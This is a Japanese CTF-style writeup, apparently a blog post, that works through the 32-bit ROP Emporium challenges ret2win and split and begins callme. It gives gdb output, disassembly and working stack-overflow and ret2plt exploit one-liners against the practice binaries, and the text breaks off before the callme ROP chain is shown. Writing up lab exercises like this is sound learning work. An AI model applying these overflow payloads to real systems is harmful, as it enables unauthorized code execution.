ROP Emporium Writeup(32bit)
はじめに
最近Pwnを始めて,ROP Emporiumというサイトを元に進めてます.少人数でのPwn勉強会でもこれを題材にしていたりします.で,ダラダラと進めてたらようやく32bitのほうが全部終わったのでwriteupを残そうと思います.めっちゃ勉強になるサイトなんですが,writeupをググると英語の記事はあるものの,日本語の記事が見当たらないので,書いておきます.
ROP Emporiumとは?
writeupの前に簡単な説明をしておくと,ROPというテクニックを主に学ぶことができるサイトです.7つの問題があり,それぞれ32bit版と64bit版があるので,計14問です.確かFBで@encry1024さんがリンクを貼っているのを見て存在を知りました.
問題としては脆弱なバイナリとflag.txtが与えられるので,実行ファイルからflag.txtを読み出せたら勝ちっていう感じです.
では,以下32bit版のwriteupです.
※誤りがあれば教えて頂けると有難いです!
ret2win
$ file ret2win32 ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped $ ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > hoge Exiting
適当に長い入力値を与えるとオーバーフローするので,gdbで調べます.(BoFは全ての問題で共通して存在します)
$ gdb ret2win32 Reading symbols from ret2win32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ run Starting program: /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/ret2win32/ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------] EAX: 0xffffbd10 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") EBX: 0x0 ECX: 0x0 EDX: 0xf7fa687c --> 0x0 ESI: 0xf7fa5000 --> 0x1b1db0 EDI: 0xf7fa5000 --> 0x1b1db0 EBP: 0x41304141 ('AA0A') ESP: 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 EIP: 0x41414641 ('AFAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffbd40 --> 0xf7fa0062 --> 0x1230000 0004| 0xffffbd44 --> 0xffffbd60 --> 0x1 0008| 0xffffbd48 --> 0x0 0012| 0xffffbd4c --> 0xf7e0b637 (<__libc_start_main+247>: add esp,0x10) 0016| 0xffffbd50 --> 0xf7fa5000 --> 0x1b1db0 0020| 0xffffbd54 --> 0xf7fa5000 --> 0x1b1db0 0024| 0xffffbd58 --> 0x0 0028| 0xffffbd5c --> 0xf7e0b637 (<__libc_start_main+247>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
patto AFAAというのはoffsetを調べる時に使用し, patto EIP
のように使います.
offsetが44とわかったので,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます.
任意のアドレスに遷移させることができる現在の状態を,「EIPを奪った」とかいいます.
次に,実行ファイルの中にどのような関数があるのかを見てみます.
$ gdb ret2win32 Reading symbols from ret2win32...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x08048659 ret2win 0x08048690 __libc_csu_init 0x080486f0 __libc_csu_fini 0x080486f4 _fini
pwnmeとret2winという関数が気になります.mainとpwnmeとret2winをそれぞれ逆アセンブルして読んでみます.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804857b <+0>: lea ecx,[esp+0x4] 0x0804857f <+4>: and esp,0xfffffff0 0x08048582 <+7>: push DWORD PTR [ecx-0x4] 0x08048585 <+10>: push ebp 0x08048586 <+11>: mov ebp,esp 0x08048588 <+13>: push ecx 0x08048589 <+14>: sub esp,0x4 0x0804858c <+17>: mov eax,ds:0x804a064 0x08048591 <+22>: push 0x0 0x08048593 <+24>: push 0x2 0x08048595 <+26>: push 0x0 0x08048597 <+28>: push eax 0x08048598 <+29>: call 0x8048450 <setvbuf@plt> 0x0804859d <+34>: add esp,0x10 0x080485a0 <+37>: mov eax,ds:0x804a040 0x080485a5 <+42>: push 0x0 0x080485a7 <+44>: push 0x2 0x080485a9 <+46>: push 0x0 0x080485ab <+48>: push eax 0x080485ac <+49>: call 0x8048450 <setvbuf@plt> 0x080485b1 <+54>: add esp,0x10 0x080485b4 <+57>: sub esp,0xc 0x080485b7 <+60>: push 0x8048710 0x080485bc <+65>: call 0x8048420 <puts@plt> 0x080485c1 <+70>: add esp,0x10 0x080485c4 <+73>: sub esp,0xc 0x080485c7 <+76>: push 0x8048728 0x080485cc <+81>: call 0x8048420 <puts@plt> 0x080485d1 <+86>: add esp,0x10 0x080485d4 <+89>: call 0x80485f6 <pwnme> 0x080485d9 <+94>: sub esp,0xc 0x080485dc <+97>: push 0x8048730 0x080485e1 <+102>: call 0x8048420 <puts@plt> 0x080485e6 <+107>: add esp,0x10 0x080485e9 <+110>: mov eax,0x0 0x080485ee <+115>: mov ecx,DWORD PTR [ebp-0x4] 0x080485f1 <+118>: leave 0x080485f2 <+119>: lea esp,[ecx-0x4] 0x080485f5 <+122>: ret End of assembler dump.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080485f6 <+0>: push ebp 0x080485f7 <+1>: mov ebp,esp 0x080485f9 <+3>: sub esp,0x28 0x080485fc <+6>: sub esp,0x4 0x080485ff <+9>: push 0x20 0x08048601 <+11>: push 0x0 0x08048603 <+13>: lea eax,[ebp-0x28] 0x08048606 <+16>: push eax 0x08048607 <+17>: call 0x8048460 <memset@plt> 0x0804860c <+22>: add esp,0x10 0x0804860f <+25>: sub esp,0xc 0x08048612 <+28>: push 0x804873c 0x08048617 <+33>: call 0x8048420 <puts@plt> 0x0804861c <+38>: add esp,0x10 0x0804861f <+41>: sub esp,0xc 0x08048622 <+44>: push 0x80487bc 0x08048627 <+49>: call 0x8048420 <puts@plt> 0x0804862c <+54>: add esp,0x10 0x0804862f <+57>: sub esp,0xc 0x08048632 <+60>: push 0x8048821 0x08048637 <+65>: call 0x8048400 <printf@plt> 0x0804863c <+70>: add esp,0x10 0x0804863f <+73>: mov eax,ds:0x804a060 0x08048644 <+78>: sub esp,0x4 0x08048647 <+81>: push eax 0x08048648 <+82>: push 0x32 0x0804864a <+84>: lea eax,[ebp-0x28] 0x0804864d <+87>: push eax 0x0804864e <+88>: call 0x8048410 <fgets@plt> 0x08048653 <+93>: add esp,0x10 0x08048656 <+96>: nop 0x08048657 <+97>: leave 0x08048658 <+98>: ret End of assembler dump.
ret2win
gdb-peda$ disas ret2win Dump of assembler code for function ret2win: 0x08048659 <+0>: push ebp 0x0804865a <+1>: mov ebp,esp 0x0804865c <+3>: sub esp,0x8 0x0804865f <+6>: sub esp,0xc 0x08048662 <+9>: push 0x8048824 0x08048667 <+14>: call 0x8048400 <printf@plt> 0x0804866c <+19>: add esp,0x10 0x0804866f <+22>: sub esp,0xc 0x08048672 <+25>: push 0x8048841 0x08048677 <+30>: call 0x8048430 <system@plt> 0x0804867c <+35>: add esp,0x10 0x0804867f <+38>: nop 0x08048680 <+39>: leave 0x08048681 <+40>: ret End of assembler dump.
mainではsetvbufで標準入出力のバッファリングを無効にしたり,putsで何かを出力したり,pwnmeを呼んだりしています.putsで出力しているのは,実行時に表示される説明とかです.
次にpwnmeですが,memsetで何かを初期化したり,putsやprintfで何かを出力して,最終的にfgetsで入力値を受け取っています.
最後にret2winですが,こちらもprintfで何かを出力していますが,重要なのはsystem関数を呼んでいる部分です.引数には何を渡しているのでしょうか?渡しているアドレスに何が格納されているかを調べてみます.
gdb-peda$ x/s 0x8048841 0x8048841: "/bin/cat flag.txt"
どうやらret2winはflag.txtを表示してくれる関数のようです.よって,pwnmeのfgetsでBoFさせ,ret2winに遷移させれば終わりです.
アドレスはリトルエンディアンで書きます.
exploit
$ python -c 'print "A" * 44 + "\x59\x86\x04\x08"' |./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} zsh: done python -c 'print "A" * 44 + "\x59\x86\x04\x08"' | zsh: segmentation fault (core dumped) ./ret2win32
split
$ file split32 split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped $ ./split32 split by ROP Emporium 32bits Contriving a reason to ask user for data... > hoge Exiting
BoFする長さとかは全問題で共通しているので,省略します.(1問目と同様に,44文字目以降に任意のアドレスを与えれば,そのアドレスに遷移させることができます)
$ gdb split32 Reading symbols from split32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x080483c0 _init 0x08048400 printf@plt 0x08048410 fgets@plt 0x08048420 puts@plt 0x08048430 system@plt 0x08048440 __libc_start_main@plt 0x08048450 setvbuf@plt 0x08048460 memset@plt 0x08048480 _start 0x080484b0 __x86.get_pc_thunk.bx 0x080484c0 deregister_tm_clones 0x080484f0 register_tm_clones 0x08048530 __do_global_dtors_aux 0x08048550 frame_dummy 0x0804857b main 0x080485f6 pwnme 0x08048649 usefulFunction 0x08048670 __libc_csu_init 0x080486d0 __libc_csu_fini 0x080486d4 _fini
今度はusefulFunctionという関数があるので,逆アセンブルしてみます.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x08048649 <+0>: push ebp 0x0804864a <+1>: mov ebp,esp 0x0804864c <+3>: sub esp,0x8 0x0804864f <+6>: sub esp,0xc 0x08048652 <+9>: push 0x8048747 0x08048657 <+14>: call 0x8048430 <system@plt> 0x0804865c <+19>: add esp,0x10 0x0804865f <+22>: nop 0x08048660 <+23>: leave 0x08048661 <+24>: ret End of assembler dump.
systemに渡されている引数を調べます.
gdb-peda$ x/s 0x8048747 0x8048747: "/bin/ls"
どうやら,usefulFunctionはlsするだけの関数のようです.どこかにflagをcatしてくれる文字列などが無いかを調べます.
実行ファイル中の文字列をstringsで列挙してみます.
$ strings split32 ...... Contriving a reason to ask user for data... /bin/ls ;*2$"( /bin/cat flag.txt GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609 crtstuff.c ......
すると,/bin/cat flag.txtという文字列が見つかります.system関数はsplitの中にあるので, "/bin/cat flag.txt" を引数として渡してあげれば良さそうです.「関数を引数に渡す」という行為はレジスタへ直接値を入れるか,またはスタックを経由して行われる方法の2通りがありますが,今回はスタックを経由して渡していきます.
スタックを経由して引数を渡す場合,通常push命令を使って値をスタックへ積みます.しかし,オーバーフロー時は任意のアドレスへ遷移させた時と同様に,任意の値をスタックへ用意することができるので,スタックの状態をいい感じにします.
通常のスタックの状態
+-+-+-+-+-+-+-+ ↑low ............... +-+-+-+-+-+-+-+ local val +-+-+-+-+-+-+-+ saved ebp +-+-+-+-+-+-+-+ return address +-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+ ↓ high
今回の場合,入力値を保存する先の変数がlocal val辺りにあるはずです.BoFが起こるとsaved ebp(EBPというスタックの底を表すレジスタの値が保存されている場所です)とreturn address(元のルーチンへ戻る為にスタックへ保存しています)が書き換えられ,任意の場所に遷移させることができるわけです.
これを,オーバーフローさせて以下のようにします.
+-+-+-+-+-+-+-+-+ ↑low ......AA +-+-+-+-+-+-+-+-+ AAAA +-+-+-+-+-+-+-+-+ AAAA +-+-+-+-+-+-+-+-+ system@plt(元々のreturn addressをsystem@pltへ) +-+-+-+-+-+-+-+-+ return address(system@pltのreturn先) +-+-+-+-+-+-+-+-+ /bin/cat flag.txtのアドレス +-+-+-+-+-+-+-+-+ ............... +-+-+-+-+-+-+-+-+ ↓ high
こうすると,system@pltがリターン先となり,最終的に/bin/cat flag.txtを引数としてsystem関数が実行されます.これをret2pltと言います.
@pltというのはplt領域という場所を指しています.この領域は遅延リンクという仕組みを実現するためのもので,その後plt領域からgot領域へ飛び,さらにsystem関数本体へと飛ぶ2段構成になっていたりします.got領域が解決されたアドレスを管理するテーブルになっているのですが,ここら辺の話はググって調べたほうがわかりやすいと思うので,割愛します.
最後に,/bin/cat flag.txtが格納されている場所を調べます.
$ gdb split32 gdb-peda$ find /bin/cat Searching for '/bin/cat' in: None ranges Found 1 results, display max 1 items: split32 : 0x804a030 ("/bin/cat flag.txt")
よって,exploitは以下のようになります.(AAAAはsystem@pltから返る先のアドレスで,ダミーなのでなんでもOKです)
exploit
$ python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' |./split32 split by ROP Emporium 32bits Contriving a reason to ask user for data... > ROPE{a_placeholder_32byte_flag!} zsh: done python -c 'print "A" * 44 + "\x30\x84\x04\x08" + "AAAA" + "\x30\xa0\x04\x08"' | zsh: segmentation fault (core dumped) ./split32
callme
$ file callme32 callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ceeb3a388347fd09bb234f44846f1480ac7abf64, not stripped $ ./callme32 callme by ROP Emporium 32bits Hope you read the instructions... > hoge Exiting
gdbで見てみます.
$ gdb callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048558 _init 0x08048590 printf@plt 0x080485a0 fgets@plt 0x080485b0 callme_three@plt 0x080485c0 callme_one@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x080485f0 __libc_start_main@plt 0x08048600 setvbuf@plt 0x08048610 memset@plt 0x08048620 callme_two@plt 0x08048640 _start 0x08048670 __x86.get_pc_thunk.bx 0x08048680 deregister_tm_clones 0x080486b0 register_tm_clones 0x080486f0 __do_global_dtors_aux 0x08048710 frame_dummy 0x0804873b main 0x080487b6 pwnme 0x0804880c usefulFunction 0x08048850 __libc_csu_init 0x080488b0 __libc_csu_fini 0x080488b4 _fini
またusefulFunctionがあります.
usefulFunction
gdb-peda$ disas usefulFunction Dump of assembler code for function usefulFunction: 0x0804880c <+0>: push ebp 0x0804880d <+1>: mov ebp,esp 0x0804880f <+3>: sub esp,0x8 0x08048812 <+6>: sub esp,0x4 0x08048815 <+9>: push 0x6 0x08048817 <+11>: push 0x5 0x08048819 <+13>: push 0x4 0x0804881b <+15>: call 0x80485b0 <callme_three@plt> 0x08048820 <+20>: add esp,0x10 0x08048823 <+23>: sub esp,0x4 0x08048826 <+26>: push 0x6 0x08048828 <+28>: push 0x5 0x0804882a <+30>: push 0x4 0x0804882c <+32>: call 0x8048620 <callme_two@plt> 0x08048831 <+37>: add esp,0x10 0x08048834 <+40>: sub esp,0x4 0x08048837 <+43>: push 0x6 0x08048839 <+45>: push 0x5 0x0804883b <+47>: push 0x4 0x0804883d <+49>: call 0x80485c0 <callme_one@plt> 0x08048842 <+54>: add esp,0x10 0x08048845 <+57>: sub esp,0xc 0x08048848 <+60>: push 0x1 0x0804884a <+62>: call 0x80485e0 <exit@plt> End of assembler dump.
callme_one , callme_two, callme_threeという見慣れない関数が3つあります.それぞれの関数に対して,第1引数4,第2引数5,第3引数6を渡しています.
今回は共有ライブラリとしてlibcallme32.soというファイルが渡されています.
$ file libcallme32.so libcallme32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9677f4f42dd5a13429a33e9bd46ca3eab3936934, not stripped
callme_one , callme_two, callme_threeの本体はそれぞれ,この共有ライブラリの中にあります.libcallme32.soを逆アセンブルします.
$ gdb libcallme32.so
callme_one
gdb-peda$ disas callme_one Dump of assembler code for function callme_one: 0x000006d0 <+0>: push ebp 0x000006d1 <+1>: mov ebp,esp 0x000006d3 <+3>: push ebx 0x000006d4 <+4>: sub esp,0x14 0x000006d7 <+7>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000006dc <+12>: add ebx,0x1924 0x000006e2 <+18>: cmp DWORD PTR [ebp+0x8],0x1 0x000006e6 <+22>: jne 0x7ab <callme_one+219> 0x000006ec <+28>: cmp DWORD PTR [ebp+0xc],0x2 0x000006f0 <+32>: jne 0x7ab <callme_one+219> 0x000006f6 <+38>: cmp DWORD PTR [ebp+0x10],0x3 0x000006fa <+42>: jne 0x7ab <callme_one+219> 0x00000700 <+48>: mov DWORD PTR [ebp-0xc],0x0 0x00000707 <+55>: sub esp,0x8 0x0000070a <+58>: lea eax,[ebx-0x163c] 0x00000710 <+64>: push eax 0x00000711 <+65>: lea eax,[ebx-0x163a] 0x00000717 <+71>: push eax 0x00000718 <+72>: call 0x570 <fopen@plt> 0x0000071d <+77>: add esp,0x10 0x00000720 <+80>: mov DWORD PTR [ebp-0xc],eax 0x00000723 <+83>: cmp DWORD PTR [ebp-0xc],0x0 0x00000727 <+87>: jne 0x745 <callme_one+117> 0x00000729 <+89>: sub esp,0xc 0x0000072c <+92>: lea eax,[ebx-0x1624] 0x00000732 <+98>: push eax 0x00000733 <+99>: call 0x550 <puts@plt> 0x00000738 <+104>: add esp,0x10 0x0000073b <+107>: sub esp,0xc 0x0000073e <+110>: push 0x1 0x00000740 <+112>: call 0x560 <exit@plt> 0x00000745 <+117>: sub esp,0xc 0x00000748 <+120>: push 0x21 0x0000074a <+122>: call 0x540 <malloc@plt> 0x0000074f <+127>: add esp,0x10 0x00000752 <+130>: mov DWORD PTR [ebx+0x34],eax 0x00000758 <+136>: mov eax,DWORD PTR [ebx+0x34] 0x0000075e <+142>: test eax,eax 0x00000760 <+144>: jne 0x77e <callme_one+174> 0x00000762 <+146>: sub esp,0xc 0x00000765 <+149>: lea eax,[ebx-0x1602] 0x0000076b <+155>: push eax 0x0000076c <+156>: call 0x550 <puts@plt> 0x00000771 <+161>: add esp,0x10 0x00000774 <+164>: sub esp,0xc 0x00000777 <+167>: push 0x1 0x00000779 <+169>: call 0x560 <exit@plt> 0x0000077e <+174>: mov eax,DWORD PTR [ebx+0x34] 0x00000784 <+180>: sub esp,0x4 0x00000787 <+183>: push DWORD PTR [ebp-0xc] 0x0000078a <+186>: push 0x21 0x0000078c <+188>: push eax 0x0000078d <+189>: call 0x520 <fgets@plt> 0x00000792 <+194>: add esp,0x10 0x00000795 <+197>: mov DWORD PTR [ebx+0x34],eax 0x0000079b <+203>: sub esp,0xc 0x0000079e <+206>: push DWORD PTR [ebp-0xc] 0x000007a1 <+209>: call 0x530 <fclose@plt> 0x000007a6 <+214>: add esp,0x10 0x000007a9 <+217>: jmp 0x7c7 <callme_one+247> 0x000007ab <+219>: sub esp,0xc 0x000007ae <+222>: lea eax,[ebx-0x15e8] 0x000007b4 <+228>: push eax 0x000007b5 <+229>: call 0x550 <puts@plt> 0x000007ba <+234>: add esp,0x10 0x000007bd <+237>: sub esp,0xc 0x000007c0 <+240>: push 0x1 0x000007c2 <+242>: call 0x560 <exit@plt> 0x000007c7 <+247>: nop 0x000007c8 <+248>: mov ebx,DWORD PTR [ebp-0x4] 0x000007cb <+251>: leave 0x000007cc <+252>: ret End of assembler dump.
ざっと見る感じ,第1引数が1,第2引数が2,第3引数が3ではなかったらexitするようになっていて,その後はfopenしてmallocで0x21分領域を確保し,fgetsでファイルから値を読みこんで,確保しておいた領域へ格納,みたいなことをやっています.
callme_twoを見てみます.
callme_two
gdb-peda$ disas callme_two Dump of assembler code for function callme_two: 0x000007cd <+0>: push ebp 0x000007ce <+1>: mov ebp,esp 0x000007d0 <+3>: push esi 0x000007d1 <+4>: push ebx 0x000007d2 <+5>: sub esp,0x10 0x000007d5 <+8>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000007da <+13>: add ebx,0x1826 0x000007e0 <+19>: cmp DWORD PTR [ebp+0x8],0x1 0x000007e4 <+23>: jne 0x88e <callme_two+193> 0x000007ea <+29>: cmp DWORD PTR [ebp+0xc],0x2 0x000007ee <+33>: jne 0x88e <callme_two+193> 0x000007f4 <+39>: cmp DWORD PTR [ebp+0x10],0x3 0x000007f8 <+43>: jne 0x88e <callme_two+193> 0x000007fe <+49>: mov DWORD PTR [ebp-0xc],0x0 0x00000805 <+56>: sub esp,0x8 0x00000808 <+59>: lea eax,[ebx-0x163c] 0x0000080e <+65>: push eax 0x0000080f <+66>: lea eax,[ebx-0x15d3] 0x00000815 <+72>: push eax 0x00000816 <+73>: call 0x570 <fopen@plt> 0x0000081b <+78>: add esp,0x10 0x0000081e <+81>: mov DWORD PTR [ebp-0xc],eax 0x00000821 <+84>: cmp DWORD PTR [ebp-0xc],0x0 0x00000825 <+88>: jne 0x843 <callme_two+118> 0x00000827 <+90>: sub esp,0xc 0x0000082a <+93>: lea eax,[ebx-0x15ca] 0x00000830 <+99>: push eax 0x00000831 <+100>: call 0x550 <puts@plt> 0x00000836 <+105>: add esp,0x10 0x00000839 <+108>: sub esp,0xc 0x0000083c <+111>: push 0x1 0x0000083e <+113>: call 0x560 <exit@plt> 0x00000843 <+118>: mov DWORD PTR [ebp-0x10],0x0 0x0000084a <+125>: mov DWORD PTR [ebp-0x10],0x0 0x00000851 <+132>: jmp 0x886 <callme_two+185> 0x00000853 <+134>: sub esp,0xc 0x00000856 <+137>: push DWORD PTR [ebp-0xc] 0x00000859 <+140>: call 0x580 <fgetc@plt> 0x0000085e <+145>: add esp,0x10 0x00000861 <+148>: mov esi,eax 0x00000863 <+150>: mov edx,DWORD PTR [ebx+0x34] 0x00000869 <+156>: mov eax,DWORD PTR [ebp-0x10] 0x0000086c <+159>: add eax,edx 0x0000086e <+161>: mov ecx,DWORD PTR [ebx+0x34] 0x00000874 <+167>: mov edx,DWORD PTR [ebp-0x10] 0x00000877 <+170>: add edx,ecx 0x00000879 <+172>: movzx edx,BYTE PTR [edx] 0x0000087c <+175>: mov ecx,esi 0x0000087e <+177>: xor edx,ecx 0x00000880 <+179>: mov BYTE PTR [eax],dl 0x00000882 <+181>: add DWORD PTR [ebp-0x10],0x1 0x00000886 <+185>: cmp DWORD PTR [ebp-0x10],0xf 0x0000088a <+189>: jle 0x853 <callme_two+134> 0x0000088c <+191>: jmp 0x8aa <callme_two+221> 0x0000088e <+193>: sub esp,0xc 0x00000891 <+196>: lea eax,[ebx-0x15e8] 0x00000897 <+202>: push eax 0x00000898 <+203>: call 0x550 <puts@plt> 0x0000089d <+208>: add esp,0x10 0x000008a0 <+211>: sub esp,0xc 0x000008a3 <+214>: push 0x1 0x000008a5 <+216>: call 0x560 <exit@plt> 0x000008aa <+221>: nop 0x000008ab <+222>: lea esp,[ebp-0x8] 0x000008ae <+225>: pop ebx 0x000008af <+226>: pop esi 0x000008b0 <+227>: pop ebp 0x000008b1 <+228>: ret
こちらも同様に,第1引数が1,第2引数が2,第3引数が3であるかどうかチェックした後,fopenしています.その後,0x0 → 0xfの16回のループに入っていますが,どうやらfgetcでfopenしたファイルから1文字ずつ読み取った値とcallme_oneで確保した領域をxorしています.
- 0x00000853 - 0x0000088a をループ
- movzx edx,BYTE PTR [edx] で callme_one で確保した領域から1バイト取り出し,edxに格納
- mov ecx,esi にてfopenしたファイルから読み取った1文字をecxに格納
- xor edx,ecx で2つの値をxor
最後に,callme_threeを見てみます.
callme_three
gdb-peda$ disas callme_three Dump of assembler code for function callme_three: 0x000008b2 <+0>: push ebp 0x000008b3 <+1>: mov ebp,esp 0x000008b5 <+3>: push esi 0x000008b6 <+4>: push ebx 0x000008b7 <+5>: sub esp,0x10 0x000008ba <+8>: call 0x5a0 <__x86.get_pc_thunk.bx> 0x000008bf <+13>: add ebx,0x1741 0x000008c5 <+19>: cmp DWORD PTR [ebp+0x8],0x1 0x000008c9 <+23>: jne 0x994 <callme_three+226> 0x000008cf <+29>: cmp DWORD PTR [ebp+0xc],0x2 0x000008d3 <+33>: jne 0x994 <callme_three+226> 0x000008d9 <+39>: cmp DWORD PTR [ebp+0x10],0x3 0x000008dd <+43>: jne 0x994 <callme_three+226> 0x000008e3 <+49>: mov DWORD PTR [ebp-0xc],0x0 0x000008ea <+56>: sub esp,0x8 0x000008ed <+59>: lea eax,[ebx-0x163c] 0x000008f3 <+65>: push eax 0x000008f4 <+66>: lea eax,[ebx-0x15b2] 0x000008fa <+72>: push eax 0x000008fb <+73>: call 0x570 <fopen@plt> 0x00000900 <+78>: add esp,0x10 0x00000903 <+81>: mov DWORD PTR [ebp-0xc],eax 0x00000906 <+84>: cmp DWORD PTR [ebp-0xc],0x0 0x0000090a <+88>: jne 0x928 <callme_three+118> 0x0000090c <+90>: sub esp,0xc 0x0000090f <+93>: lea eax,[ebx-0x15a9] 0x00000915 <+99>: push eax 0x00000916 <+100>: call 0x550 <puts@plt> 0x0000091b <+105>: add esp,0x10 0x0000091e <+108>: sub esp,0xc 0x00000921 <+111>: push 0x1 0x00000923 <+113>: call 0x560 <exit@plt> 0x00000928 <+118>: mov DWORD PTR [ebp-0x10],0x10 0x0000092f <+125>: mov DWORD PTR [ebp-0x10],0x10 0x00000936 <+132>: jmp 0x96b <callme_three+185> 0x00000938 <+134>: sub esp,0xc 0x0000093b <+137>: push DWORD PTR [ebp-0xc] 0x0000093e <+140>: call 0x580 <fgetc@plt> 0x00000943 <+145>: add esp,0x10 0x00000946 <+148>: mov esi,eax 0x00000948 <+150>: mov edx,DWORD PTR [ebx+0x34] 0x0000094e <+156>: mov eax,DWORD PTR [ebp-0x10] 0x00000951 <+159>: add eax,edx 0x00000953 <+161>: mov ecx,DWORD PTR [ebx+0x34] 0x00000959 <+167>: mov edx,DWORD PTR [ebp-0x10] 0x0000095c <+170>: add edx,ecx 0x0000095e <+172>: movzx edx,BYTE PTR [edx] 0x00000961 <+175>: mov ecx,esi 0x00000963 <+177>: xor edx,ecx 0x00000965 <+179>: mov BYTE PTR [eax],dl 0x00000967 <+181>: add DWORD PTR [ebp-0x10],0x1 0x0000096b <+185>: cmp DWORD PTR [ebp-0x10],0x1f 0x0000096f <+189>: jle 0x938 <callme_three+134> 0x00000971 <+191>: mov eax,DWORD PTR [ebx+0x34] 0x00000977 <+197>: sub esp,0x8 0x0000097a <+200>: push eax 0x0000097b <+201>: lea eax,[ebx-0x1591] 0x00000981 <+207>: push eax 0x00000982 <+208>: call 0x510 <printf@plt> 0x00000987 <+213>: add esp,0x10 0x0000098a <+216>: sub esp,0xc 0x0000098d <+219>: push 0x0 0x0000098f <+221>: call 0x560 <exit@plt> 0x00000994 <+226>: sub esp,0xc 0x00000997 <+229>: lea eax,[ebx-0x15e8] 0x0000099d <+235>: push eax 0x0000099e <+236>: call 0x550 <puts@plt> 0x000009a3 <+241>: add esp,0x10 0x000009a6 <+244>: sub esp,0xc 0x000009a9 <+247>: push 0x1 0x000009ab <+249>: call 0x560 <exit@plt> End of assembler dump.
oneとtwoと同様に第1引数が1,第2引数が2,第3引数が3であるかどうかチェックし,fopenしています.その後,twoで0xfまでカウントした変数を用いて,今度は0x1fまでループしています.つまりまた16回のループです.そして,twoと同様にxorしています.twoと違うのはその後です.何かをprintfで出力してexitしています.
今回はencrypted_flag.txtとkey1.dat, key2.datという3つのファイルが渡されていますが,ここまでの結果を元に考えると
- callme_oneでencrypted_flag.txtを開く
- callme_twoでkey1.datを開き,xorで半分を復号
- callme_threeでkey2.datを開き,xorでもう半分を復号
- なお,3つの関数の引数は1, 2, 3にしなければならない
こんな感じになりそうです.
問題文にも You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.
と書かれているので間違いなさそうです.
問題はこれらの関数をどういう風に呼ぶかですが,ここでROPというテクニックが出てきます.ROPとはReturn Oriented Programmingの略であり,popやret命令を繰り返しながらジャンプするように任意コードを実行していくものであり,これを実現するためにpopやretで固まっているコード片(通称ROP gadget)を探す必要があります.
今回の場合,
